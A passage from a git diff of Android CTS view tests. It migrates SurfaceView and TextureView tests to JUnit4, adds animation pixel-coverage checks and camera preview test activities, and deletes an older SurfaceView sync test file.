+    public void testVideoSurfaceViewRotated() throws Throwable {
+        verifyTest(new AnimationTestCase(
+                sVideoViewFactory,
+                new FrameLayout.LayoutParams(100, 100, Gravity.LEFT | Gravity.TOP),
+                view -> makeInfinite(ObjectAnimator.ofPropertyValuesHolder(view,
+                        PropertyValuesHolder.ofFloat(View.TRANSLATION_X, 10f, 30f),
+                        PropertyValuesHolder.ofFloat(View.TRANSLATION_Y, 10f, 30f),
+                        PropertyValuesHolder.ofFloat(View.ROTATION, 45f, 45f))),
+                (blackishPixelCount, width, height) -> blackishPixelCount == 0));
+    }
+
+    @Test
+    public void testVideoSurfaceViewEdgeCoverage() throws Throwable {
+        verifyTest(new AnimationTestCase(
+                sVideoViewFactory,
+                new FrameLayout.LayoutParams(640, 480, Gravity.CENTER),
+                view -> {
+                    ViewGroup parent = (ViewGroup) view.getParent();
+                    final int x = parent.getWidth() / 2;
+                    final int y = parent.getHeight() / 2;
+
+                    // Animate from left, to top, to right, to bottom
+                    return makeInfinite(ObjectAnimator.ofPropertyValuesHolder(view,
+                            PropertyValuesHolder.ofFloat(View.TRANSLATION_X, -x, 0, x, 0, -x),
+                            PropertyValuesHolder.ofFloat(View.TRANSLATION_Y, 0, -y, 0, y, 0)));
+                },
+                (blackishPixelCount, width, height) -> blackishPixelCount == 0));
+    }
+
+    @Test
+    public void testVideoSurfaceViewCornerCoverage() throws Throwable {
+        verifyTest(new AnimationTestCase(
+                sVideoViewFactory,
+                new FrameLayout.LayoutParams(640, 480, Gravity.CENTER),
+                view -> {
+                    ViewGroup parent = (ViewGroup) view.getParent();
+                    final int x = parent.getWidth() / 2;
+                    final int y = parent.getHeight() / 2;
+
+                    // Animate from top left, to top right, to bottom right, to bottom left
+                    return makeInfinite(ObjectAnimator.ofPropertyValuesHolder(view,
+                            PropertyValuesHolder.ofFloat(View.TRANSLATION_X, -x, x, x, -x, -x),
+                            PropertyValuesHolder.ofFloat(View.TRANSLATION_Y, -y, -y, y, y, -y)));
+                },
+                (blackishPixelCount, width, height) -> blackishPixelCount == 0));
+    }
+}
diff --git a/tests/tests/view/src/android/view/cts/SurfaceViewSyncTests.java b/tests/tests/view/src/android/view/cts/SurfaceViewSyncTests.java
deleted file mode 100644
index 6f1c655..0000000
--- a/tests/tests/view/src/android/view/cts/SurfaceViewSyncTests.java
+++ /dev/null
@@ -1,354 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.view.cts;
-
-import android.animation.ObjectAnimator;
-import android.animation.PropertyValuesHolder;
-import android.animation.ValueAnimator;
-import android.annotation.SuppressLint;
-import android.graphics.Bitmap;
-import android.graphics.Canvas;
-import android.graphics.Color;
-import android.graphics.Paint;
-import android.media.MediaPlayer;
-import android.os.Environment;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
-import android.support.test.uiautomator.UiObjectNotFoundException;
-import android.test.suitebuilder.annotation.LargeTest;
-import android.util.Log;
-import android.util.SparseArray;
-import android.view.Gravity;
-import android.view.SurfaceHolder;
-import android.view.SurfaceView;
-import android.view.View;
-import android.view.ViewGroup;
-import android.view.animation.LinearInterpolator;
-import android.view.cts.surfacevalidator.AnimationFactory;
-import android.view.cts.surfacevalidator.AnimationTestCase;
-import android.view.cts.surfacevalidator.CapturedActivity;
-import android.view.cts.surfacevalidator.ViewFactory;
-import android.widget.FrameLayout;
-
-import libcore.io.IoUtils;
-import org.junit.After;
-import org.junit.Rule;
-import org.junit.Test;
-import org.junit.rules.TestName;
-import org.junit.runner.RunWith;
-
-import java.io.File;
-import java.io.FileOutputStream;
-import java.io.IOException;
-import java.util.concurrent.TimeUnit;
-
-import static org.junit.Assert.*;
-
-@RunWith(AndroidJUnit4.class)
-@LargeTest
-@SuppressLint("RtlHardcoded")
-public class SurfaceViewSyncTests {
-    private static final String TAG = "SurfaceViewSyncTests";
-
-    private CapturedActivity getActivity() {
-        return (CapturedActivity) mActivityRule.getActivity();
-    }
-
-    /**
-     * Want to be especially sure we don't leave up the permission dialog, so try and dismiss
-     * after test.
-     */
-    @After
-    public void setUp() throws UiObjectNotFoundException {
-        getActivity().dismissPermissionDialog();
-    }
-
-    private MediaPlayer getMediaPlayer() {
-        return getActivity().getMediaPlayer();
-    }
-
-    @Rule
-    public ActivityTestRule mActivityRule = new ActivityTestRule<>(CapturedActivity.class);
-
-    @Rule
-    public TestName mName = new TestName();
-
-    static ValueAnimator makeInfinite(ValueAnimator a) {
-        a.setRepeatMode(ObjectAnimator.REVERSE);
-        a.setRepeatCount(ObjectAnimator.INFINITE);
-        a.setDuration(200);
-        a.setInterpolator(new LinearInterpolator());
-        return a;
-    }
-
-    ///////////////////////////////////////////////////////////////////////////
-    // ViewFactories
-    ///////////////////////////////////////////////////////////////////////////
-
-    private ViewFactory sEmptySurfaceViewFactory = SurfaceView::new;
-
-    private ViewFactory sGreenSurfaceViewFactory = context -> {
-        SurfaceView surfaceView = new SurfaceView(context);
-        surfaceView.getHolder().setFixedSize(640, 480);
-        surfaceView.getHolder().addCallback(new SurfaceHolder.Callback() {
-            @Override
-            public void surfaceCreated(SurfaceHolder holder) {}
-
-            @Override
-            public void surfaceChanged(SurfaceHolder holder, int format, int width, int height) {
-                Canvas canvas = holder.lockCanvas();
-                canvas.drawColor(Color.GREEN);
-                holder.unlockCanvasAndPost(canvas);
-            }
-
-            @Override
-            public void surfaceDestroyed(SurfaceHolder holder) {}
-        });
-        return surfaceView;
-    };
-
-    private ViewFactory sVideoViewFactory = context -> {
-        SurfaceView surfaceView = new SurfaceView(context);
-        surfaceView.getHolder().setFixedSize(640, 480);
-        surfaceView.getHolder().addCallback(new SurfaceHolder.Callback() {
-            @Override
-            public void surfaceCreated(SurfaceHolder holder) {
-                getMediaPlayer().setSurface(holder.getSurface());
-                getMediaPlayer().start();
-            }
-
-            @Override
-            public void surfaceChanged(SurfaceHolder holder, int format, int width, int height) {}
-
-            @Override
-            public void surfaceDestroyed(SurfaceHolder holder) {
-                getMediaPlayer().pause();
-                getMediaPlayer().setSurface(null);
-            }
-        });
-        return surfaceView;
-    };
-
-    ///////////////////////////////////////////////////////////////////////////
-    // AnimationFactories
-    ///////////////////////////////////////////////////////////////////////////
-
-    private AnimationFactory sSmallScaleAnimationFactory = view -> {
-        view.setPivotX(0);
-        view.setPivotY(0);
-        PropertyValuesHolder pvhX = PropertyValuesHolder.ofFloat(View.SCALE_X, 0.01f, 1f);
-        PropertyValuesHolder pvhY = PropertyValuesHolder.ofFloat(View.SCALE_Y, 0.01f, 1f);
-        return makeInfinite(ObjectAnimator.ofPropertyValuesHolder(view, pvhX, pvhY));
-    };
-
-    private AnimationFactory sBigScaleAnimationFactory = view -> {
-        view.setTranslationX(10);
-        view.setTranslationY(10);
-        view.setPivotX(0);
-        view.setPivotY(0);
-        PropertyValuesHolder pvhX = PropertyValuesHolder.ofFloat(View.SCALE_X, 1f, 3f);
-        PropertyValuesHolder pvhY = PropertyValuesHolder.ofFloat(View.SCALE_Y, 1f, 3f);
-        return makeInfinite(ObjectAnimator.ofPropertyValuesHolder(view, pvhX, pvhY));
-    };
-
-    private AnimationFactory sTranslateAnimationFactory = view -> {
-        PropertyValuesHolder pvhX = PropertyValuesHolder.ofFloat(View.TRANSLATION_X, 10f, 30f);
-        PropertyValuesHolder pvhY = PropertyValuesHolder.ofFloat(View.TRANSLATION_Y, 10f, 30f);
-        return makeInfinite(ObjectAnimator.ofPropertyValuesHolder(view, pvhX, pvhY));
-    };
-
-    ///////////////////////////////////////////////////////////////////////////
-    // Bad frame capture
-    ///////////////////////////////////////////////////////////////////////////
-
-    private void saveFailureCaptures(SparseArray<Bitmap> failFrames) {
-        if (failFrames.size() == 0) return;
-
-        String directoryName = Environment.getExternalStorageDirectory()
-                + "/" + getClass().getSimpleName()
-                + "/" + mName.getMethodName();
-        File testDirectory = new File(directoryName);
-        if (testDirectory.exists()) {
-            String[] children = testDirectory.list();
-            if (children == null) {
-                return;
-            }
-            for (String file : children) {
-                new File(testDirectory, file).delete();
-            }
-        } else {
-            testDirectory.mkdirs();
-        }
-
-        for (int i = 0; i < failFrames.size(); i++) {
-            int frameNr = failFrames.keyAt(i);
-            Bitmap bitmap = failFrames.valueAt(i);
-
-            String bitmapName =  "frame_" + frameNr + ".png";
-            Log.d(TAG, "Saving file : " + bitmapName + " in directory : " + directoryName);
-
-            File file = new File(directoryName, bitmapName);
-            FileOutputStream fileStream = null;
-            try {
-                fileStream = new FileOutputStream(file);
-                bitmap.compress(Bitmap.CompressFormat.PNG, 85, fileStream);
-                fileStream.flush();
-            } catch (IOException e) {
-                e.printStackTrace();
-            } finally {
-                IoUtils.closeQuietly(fileStream);
-            }
-        }
-    }
-
-
-    ///////////////////////////////////////////////////////////////////////////
-    // Tests
-    ///////////////////////////////////////////////////////////////////////////
-
-    public void verifyTest(AnimationTestCase testCase) throws Throwable {
-        CapturedActivity.TestResult result = getActivity().runTest(testCase);
-        saveFailureCaptures(result.failures);
-
-        float failRatio = 1.0f * result.failFrames / (result.failFrames + result.passFrames);
-        assertTrue("Error: " + failRatio + " fail ratio - extremely high, is activity obstructed?",
-                failRatio < 0.95f);
-        assertTrue("Error: " + result.failFrames
-                + " incorrect frames observed - incorrect positioning",
-                result.failFrames == 0);
-        float framesPerSecond = 1.0f * result.passFrames
-                / TimeUnit.MILLISECONDS.toSeconds(CapturedActivity.CAPTURE_DURATION_MS);
-        assertTrue("Error, only " + result.passFrames
-                + " frames observed, virtual display only capturing at "
-                + framesPerSecond + " frames per second",
-                result.passFrames > 100);
-    }
-
-    /** Draws a moving 10x10 black rectangle, validates 100 pixels of black are seen each frame */
-    @Test
-    public void testSmallRect() throws Throwable {
-        verifyTest(new AnimationTestCase(
-                context -> new View(context) {
-                    // draw a single pixel
-                    final Paint sBlackPaint = new Paint();
-                    @Override
-                    protected void onDraw(Canvas canvas) {
-                        canvas.drawRect(0, 0, 10, 10, sBlackPaint);
-                    }
-
-                    @SuppressWarnings("unused")
-                    void setOffset(int offset) {
-                        // Note: offset by integer values, to ensure no rounding
-                        // is done in rendering layer, as that may be brittle
-                        setTranslationX(offset);
-                        setTranslationY(offset);
-                    }
-                },
-                new FrameLayout.LayoutParams(100, 100, Gravity.LEFT | Gravity.TOP),
-                view -> makeInfinite(ObjectAnimator.ofInt(view, "offset", 10, 30)),
-                (blackishPixelCount, width, height) ->
-                        blackishPixelCount >= 90 && blackishPixelCount <= 110));
-    }
-
-    /**
-     * Verifies that a SurfaceView without a surface is entirely black, with pixel count being
-     * approximate to avoid rounding brittleness.
-     */
-    @Test
-    public void testEmptySurfaceView() throws Throwable {
-        verifyTest(new AnimationTestCase(
-                sEmptySurfaceViewFactory,
-                new FrameLayout.LayoutParams(100, 100, Gravity.LEFT | Gravity.TOP),
-                sTranslateAnimationFactory,
-                (blackishPixelCount, width, height) ->
-                        blackishPixelCount > 9000 && blackishPixelCount < 11000));
-    }
-
-    @Test
-    public void testSurfaceViewSmallScale() throws Throwable {
-        verifyTest(new AnimationTestCase(
-                sGreenSurfaceViewFactory,
-                new FrameLayout.LayoutParams(320, 240, Gravity.LEFT | Gravity.TOP),
-                sSmallScaleAnimationFactory,
-                (blackishPixelCount, width, height) -> blackishPixelCount == 0));
-    }
-
-    @Test
-    public void testSurfaceViewBigScale() throws Throwable {
-        verifyTest(new AnimationTestCase(
-                sGreenSurfaceViewFactory,
-                new FrameLayout.LayoutParams(640, 480, Gravity.LEFT | Gravity.TOP),
-                sBigScaleAnimationFactory,
-                (blackishPixelCount, width, height) -> blackishPixelCount == 0));
-    }
-
-    @Test
-    public void testVideoSurfaceViewTranslate() throws Throwable {
-        verifyTest(new AnimationTestCase(
-                sVideoViewFactory,
-                new FrameLayout.LayoutParams(640, 480, Gravity.LEFT | Gravity.TOP),
-                sTranslateAnimationFactory,
-                (blackishPixelCount, width, height) -> blackishPixelCount == 0));
-    }
-
-    @Test
-    public void testVideoSurfaceViewRotated() throws Throwable {
-        verifyTest(new AnimationTestCase(
-                sVideoViewFactory,
-                new FrameLayout.LayoutParams(100, 100, Gravity.LEFT | Gravity.TOP),
-                view -> makeInfinite(ObjectAnimator.ofPropertyValuesHolder(view,
-                        PropertyValuesHolder.ofFloat(View.TRANSLATION_X, 10f, 30f),
-                        PropertyValuesHolder.ofFloat(View.TRANSLATION_Y, 10f, 30f),
-                        PropertyValuesHolder.ofFloat(View.ROTATION, 45f, 45f))),
-                (blackishPixelCount, width, height) -> blackishPixelCount == 0));
-    }
-
-    @Test
-    public void testVideoSurfaceViewEdgeCoverage() throws Throwable {
-        verifyTest(new AnimationTestCase(
-                sVideoViewFactory,
-                new FrameLayout.LayoutParams(640, 480, Gravity.CENTER),
-                view -> {
-                    ViewGroup parent = (ViewGroup) view.getParent();
-                    final int x = parent.getWidth() / 2;
-                    final int y = parent.getHeight() / 2;
-
-                    // Animate from left, to top, to right, to bottom
-                    return makeInfinite(ObjectAnimator.ofPropertyValuesHolder(view,
-                            PropertyValuesHolder.ofFloat(View.TRANSLATION_X, -x, 0, x, 0, -x),
-                            PropertyValuesHolder.ofFloat(View.TRANSLATION_Y, 0, -y, 0, y, 0)));
-                },
-                (blackishPixelCount, width, height) -> blackishPixelCount == 0));
-    }
-
-    @Test
-    public void testVideoSurfaceViewCornerCoverage() throws Throwable {
-        verifyTest(new AnimationTestCase(
-                sVideoViewFactory,
-                new FrameLayout.LayoutParams(640, 480, Gravity.CENTER),
-                view -> {
-                    ViewGroup parent = (ViewGroup) view.getParent();
-                    final int x = parent.getWidth() / 2;
-                    final int y = parent.getHeight() / 2;
-
-                    // Animate from top left, to top right, to bottom right, to bottom left
-                    return makeInfinite(ObjectAnimator.ofPropertyValuesHolder(view,
-                            PropertyValuesHolder.ofFloat(View.TRANSLATION_X, -x, x, x, -x, -x),
-                            PropertyValuesHolder.ofFloat(View.TRANSLATION_Y, -y, -y, y, y, -y)));
-                },
-                (blackishPixelCount, width, height) -> blackishPixelCount == 0));
-    }
-}
diff --git a/tests/tests/view/src/android/view/cts/SurfaceViewTest.java b/tests/tests/view/src/android/view/cts/SurfaceViewTest.java
index aa97ffd..3ccca48 100644
--- a/tests/tests/view/src/android/view/cts/SurfaceViewTest.java
+++ b/tests/tests/view/src/android/view/cts/SurfaceViewTest.java
@@ -16,52 +16,62 @@
 
 package android.view.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
 import android.app.Instrumentation;
-import android.content.Context;
-import android.cts.util.PollingCheck;
-import android.graphics.Canvas;
 import android.graphics.PixelFormat;
 import android.graphics.Region;
-import android.test.ActivityInstrumentationTestCase2;
-import android.test.UiThreadTest;
-import android.util.AttributeSet;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.view.KeyEvent;
 import android.view.SurfaceHolder;
 import android.view.SurfaceView;
+import android.view.ViewGroup;
 import android.view.cts.SurfaceViewCtsActivity.MockSurfaceView;
 
-public class SurfaceViewTest extends ActivityInstrumentationTestCase2<SurfaceViewCtsActivity> {
+import com.android.compatibility.common.util.CtsKeyEventUtil;
+import com.android.compatibility.common.util.PollingCheck;
+import com.android.compatibility.common.util.WidgetTestUtils;
 
-    private Context mContext;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class SurfaceViewTest {
     private Instrumentation mInstrumentation;
+    private SurfaceViewCtsActivity mActivity;
     private MockSurfaceView mMockSurfaceView;
 
-    public SurfaceViewTest() {
-        super("android.view.cts", SurfaceViewCtsActivity.class);
-    }
+    @Rule
+    public ActivityTestRule<SurfaceViewCtsActivity> mActivityRule =
+            new ActivityTestRule<>(SurfaceViewCtsActivity.class);
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mInstrumentation = getInstrumentation();
-        mContext = mInstrumentation.getContext();
-        final SurfaceViewCtsActivity activity = getActivity();
-        new PollingCheck() {
-            @Override
-                protected boolean check() {
-                return activity.hasWindowFocus();
-            }
-        }.run();
-        mMockSurfaceView = activity.getSurfaceView();
+    @Before
+    public void setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mActivity = mActivityRule.getActivity();
+        PollingCheck.waitFor(mActivity::hasWindowFocus);
+        mMockSurfaceView = mActivity.getSurfaceView();
     }
 
     @UiThreadTest
+    @Test
     public void testConstructor() {
-        new SurfaceView(mContext);
-        new SurfaceView(mContext, null);
-        new SurfaceView(mContext, null, 0);
+        new SurfaceView(mActivity);
+        new SurfaceView(mActivity, null);
+        new SurfaceView(mActivity, null, 0);
     }
 
+    @Test
     public void testSurfaceView() {
         final int left = 40;
         final int top = 30;
@@ -71,7 +81,7 @@
         assertTrue(mMockSurfaceView.isDraw());
         assertTrue(mMockSurfaceView.isOnAttachedToWindow());
         assertTrue(mMockSurfaceView.isDispatchDraw());
-        assertTrue(mMockSurfaceView.isDrawColor());
+        assertTrue(mMockSurfaceView.isSurfaceCreatedCalled());
         assertTrue(mMockSurfaceView.isSurfaceChanged());
 
         assertTrue(mMockSurfaceView.isOnWindowVisibilityChanged());
@@ -99,11 +109,12 @@
         assertTrue(actual instanceof SurfaceHolder);
     }
 
-    @UiThreadTest
     /**
      * check point:
      * check surfaceView size before and after layout
      */
+    @UiThreadTest
+    @Test
     public void testOnSizeChanged() {
         final int left = 40;
         final int top = 30;
@@ -123,11 +134,12 @@
         assertEquals(bottom - top, mMockSurfaceView.getHeight());
     }
 
-    @UiThreadTest
     /**
      * check point:
      * check surfaceView scroll X and y before and after scrollTo
      */
+    @UiThreadTest
+    @Test
     public void testOnScrollChanged() {
         final int scrollToX = 200;
         final int scrollToY = 200;
@@ -143,25 +155,23 @@
         assertEquals(scrollToY, mMockSurfaceView.getScrollY());
     }
 
+    @Test
     public void testOnDetachedFromWindow() {
-        final MockSurfaceView mockSurfaceView = getActivity().getSurfaceView();
-        assertFalse(mockSurfaceView.isDetachedFromWindow());
-        assertTrue(mockSurfaceView.isShown());
-        sendKeys(KeyEvent.KEYCODE_BACK);
-        new PollingCheck() {
-            @Override
-            protected boolean check() {
-                return mockSurfaceView.isDetachedFromWindow() &&
-                       !mockSurfaceView.isShown();
-            }
-        }.run();
+        assertFalse(mMockSurfaceView.isDetachedFromWindow());
+        assertTrue(mMockSurfaceView.isShown());
+        CtsKeyEventUtil.sendKeys(mInstrumentation, mMockSurfaceView, KeyEvent.KEYCODE_BACK);
+        PollingCheck.waitFor(() -> mMockSurfaceView.isDetachedFromWindow() &&
+                !mMockSurfaceView.isShown());
     }
 
-    private void sleep(long time) {
-        try {
-            Thread.sleep(time);
-        } catch (InterruptedException e) {
-            fail("error occurs when wait for an action: " + e.toString());
-        }
+    @Test
+    public void surfaceInvalidatedWhileDetaching() throws Throwable {
+        assertTrue(mMockSurfaceView.mSurface.isValid());
+        assertFalse(mMockSurfaceView.isDetachedFromWindow());
+        WidgetTestUtils.runOnMainAndLayoutSync(mActivityRule, () -> {
+            ((ViewGroup)mMockSurfaceView.getParent()).removeView(mMockSurfaceView);
+        }, false);
+        assertTrue(mMockSurfaceView.isDetachedFromWindow());
+        assertFalse(mMockSurfaceView.mSurface.isValid());
     }
 }
diff --git a/tests/tests/view/src/android/view/cts/Surface_OutOfResourcesExceptionTest.java b/tests/tests/view/src/android/view/cts/Surface_OutOfResourcesExceptionTest.java
index a98e818..438ff1b 100644
--- a/tests/tests/view/src/android/view/cts/Surface_OutOfResourcesExceptionTest.java
+++ b/tests/tests/view/src/android/view/cts/Surface_OutOfResourcesExceptionTest.java
@@ -16,15 +16,19 @@
 
 package android.view.cts;
 
-import android.test.AndroidTestCase;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.view.Surface;
-import android.view.Surface.OutOfResourcesException;
 
-public class Surface_OutOfResourcesExceptionTest extends AndroidTestCase {
-    private static final String NAME = "Test_Surface_OutOfResourcesException";
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class Surface_OutOfResourcesExceptionTest {
+    @Test
     public void testConstructor() {
         new Surface.OutOfResourcesException();
-        new Surface.OutOfResourcesException(NAME);
+        new Surface.OutOfResourcesException("Test_Surface_OutOfResourcesException");
     }
 }
diff --git a/tests/tests/view/src/android/view/cts/TextureViewCameraActivity.java b/tests/tests/view/src/android/view/cts/TextureViewCameraActivity.java
new file mode 100644
index 0000000..4aebbb7
--- /dev/null
+++ b/tests/tests/view/src/android/view/cts/TextureViewCameraActivity.java
@@ -0,0 +1,129 @@
+/*
+ * Copyright (C) 2012 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.cts;
+
+import android.app.Activity;
+import android.graphics.Bitmap;
+import android.graphics.Matrix;
+import android.graphics.SurfaceTexture;
+import android.hardware.Camera;
+import android.os.Bundle;
+import android.util.Log;
+import android.view.TextureView;
+import android.view.View;
+
+import junit.framework.Assert;
+
+import java.io.IOException;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+
+public class TextureViewCameraActivity extends Activity implements
+        TextureView.SurfaceTextureListener {
+    private static final String TAG = "TextureViewCameraActivity";
+
+    private static final int CAPTURE_SCREEN_INTERVAL = 10;
+    private static final float SCREEN_ROTATION_RATE = 1.0f;
+    private static final int MAX_FRAME_UPDATE = 40;
+
+    private Camera mCamera;
+    private TextureView mTextureView;
+    private int mUpdateCounter = 0;
+    private int mWidth;
+    private int mHeight;
+    private float mRotation = 0f;
+    private final CountDownLatch mLatch = new CountDownLatch(1);
+
+
+    public void onSurfaceTextureAvailable(SurfaceTexture surface, int width, int height) {
+        Assert.assertTrue(mTextureView.getLayerType() == View.LAYER_TYPE_HARDWARE);
+        Assert.assertTrue(mTextureView.isAvailable());
+        Assert.assertNotNull(mTextureView.getSurfaceTexture());
+        Assert.assertTrue(mTextureView.getSurfaceTextureListener() == this);
+        Assert.assertTrue(mTextureView.isOpaque());
+        mWidth = width;
+        mHeight = height;
+        if (Camera.getNumberOfCameras() > 0) {
+            Log.d(TAG, "opening camera...");
+            mCamera = Camera.open(0);
+            Log.d(TAG, "surface texture available, opening a camera");
+        } else {
+            // no camera, and no frame update, so just complete here.
+            Log.d(TAG, "no camera, test aborting");
+            mLatch.countDown();
+            return;
+        }
+
+        try {
+            mCamera.setPreviewTexture(surface);
+            mCamera.startPreview();
+        } catch (IOException ioe) {
+            // Something bad happened
+            Assert.fail();
+        }
+    }
+
+    public void onSurfaceTextureSizeChanged(SurfaceTexture surface, int width, int height) {
+        Log.d(TAG, "surface texture size change " + width + " x " + height);
+        mWidth = width;
+        mHeight = height;
+    }
+
+    public boolean onSurfaceTextureDestroyed(SurfaceTexture surface) {
+        Log.d(TAG, "surface texture destroyed");
+        if (mCamera != null) {
+            Log.d(TAG, "stopping camera");
+            mCamera.stopPreview();
+            mCamera.release();
+        }
+        return true;
+    }
+
+    public void onSurfaceTextureUpdated(SurfaceTexture surface) {
+        Log.d(TAG, "surface texture updated");
+        mUpdateCounter++;
+        if (mUpdateCounter % CAPTURE_SCREEN_INTERVAL == 0) {
+            Bitmap bitmap = mTextureView.getBitmap();
+            Log.d(TAG, "acquired bitmap");
+            Assert.assertEquals(mHeight, bitmap.getHeight());
+            Assert.assertEquals(mWidth, bitmap.getWidth());
+            bitmap.recycle();
+            if (mUpdateCounter >= MAX_FRAME_UPDATE) {
+                Log.d(TAG, "seen " + MAX_FRAME_UPDATE + " frames, test complete");
+                mLatch.countDown();
+            }
+        }
+        Matrix transformMatrix =  mTextureView.getTransform(null);
+        mRotation += SCREEN_ROTATION_RATE;
+        transformMatrix.setRotate(mRotation, mWidth / 2, mHeight / 2);
+        mTextureView.setTransform(transformMatrix);
+    }
+
+    public boolean waitForCompletion(long timeoutInSecs) throws InterruptedException {
+        return mLatch.await(timeoutInSecs, TimeUnit.SECONDS);
+    }
+
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        mTextureView = new TextureView(this);
+        mTextureView.setSurfaceTextureListener(this);
+        mTextureView.setOpaque(true);
+        setContentView(mTextureView);
+    }
+}
diff --git a/tests/tests/view/src/android/view/cts/TextureViewCameraTest.java b/tests/tests/view/src/android/view/cts/TextureViewCameraTest.java
new file mode 100644
index 0000000..b909469
--- /dev/null
+++ b/tests/tests/view/src/android/view/cts/TextureViewCameraTest.java
@@ -0,0 +1,56 @@
+/*
+ * Copyright (C) 2012 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.cts;
+
+import static org.junit.Assert.assertTrue;
+
+import android.hardware.Camera;
+import android.support.test.filters.LargeTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@LargeTest
+@RunWith(AndroidJUnit4.class)
+public class TextureViewCameraTest {
+    private static final long WAIT_TIMEOUT_IN_SECS = 10;
+
+    private TextureViewCameraActivity mActivity;
+    private int mNumberOfCameras;
+
+    @Rule
+    public ActivityTestRule<TextureViewCameraActivity> mActivityRule =
+            new ActivityTestRule<>(TextureViewCameraActivity.class);
+
+    @Before
+    public void setup() {
+        mActivity = mActivityRule.getActivity();
+        mNumberOfCameras = Camera.getNumberOfCameras();
+    }
+
+    @Test
+    public void testTextureViewActivity() throws InterruptedException {
+        if (mNumberOfCameras < 1) {
+            return;
+        }
+        assertTrue(mActivity.waitForCompletion(WAIT_TIMEOUT_IN_SECS));
+    }
+}
diff --git a/tests/tests/view/src/android/view/cts/TextureViewCtsActivity.java b/tests/tests/view/src/android/view/cts/TextureViewCtsActivity.java
index 029e308..e71e275 100644
--- a/tests/tests/view/src/android/view/cts/TextureViewCtsActivity.java
+++ b/tests/tests/view/src/android/view/cts/TextureViewCtsActivity.java
@@ -35,6 +35,7 @@
 
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
 
 import javax.microedition.khronos.egl.EGL10;
 import javax.microedition.khronos.egl.EGLConfig;
@@ -44,12 +45,13 @@
 
 public class TextureViewCtsActivity extends Activity implements SurfaceTextureListener {
     private final static long TIME_OUT_MS = 10000;
-    private Object mLock = new Object();
+    private final Object mLock = new Object();
 
     private View mPreview;
     private TextureView mTextureView;
     private HandlerThread mGLThreadLooper;
     private Handler mGLThread;
+    private CountDownLatch mEnterAnimationFence = new CountDownLatch(1);
 
     private SurfaceTexture mSurface;
     private int mSurfaceUpdatedCount;
@@ -88,6 +90,18 @@
         setContentView(content);
     }
 
+    @Override
+    public void onEnterAnimationComplete() {
+        super.onEnterAnimationComplete();
+        mEnterAnimationFence.countDown();
+    }
+
+    public void waitForEnterAnimationComplete() throws TimeoutException, InterruptedException {
+        if (!mEnterAnimationFence.await(TIME_OUT_MS, TimeUnit.MILLISECONDS)) {
+            throw new TimeoutException();
+        }
+    }
+
     private class RunSignalAndCatch implements Runnable {
         public Throwable error;
         private Runnable mRunnable;
@@ -114,7 +128,9 @@
         CountDownLatch fence = new CountDownLatch(1);
         RunSignalAndCatch wrapper = new RunSignalAndCatch(r, fence);
         mGLThread.post(wrapper);
-        fence.await(TIME_OUT_MS, TimeUnit.MILLISECONDS);
+        if (!fence.await(TIME_OUT_MS, TimeUnit.MILLISECONDS)) {
+            throw new TimeoutException();
+        }
         if (wrapper.error != null) {
             throw wrapper.error;
         }
diff --git a/tests/tests/view/src/android/view/cts/TextureViewSnapshotTest.java b/tests/tests/view/src/android/view/cts/TextureViewSnapshotTest.java
new file mode 100644
index 0000000..4cc968d
--- /dev/null
+++ b/tests/tests/view/src/android/view/cts/TextureViewSnapshotTest.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2012 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
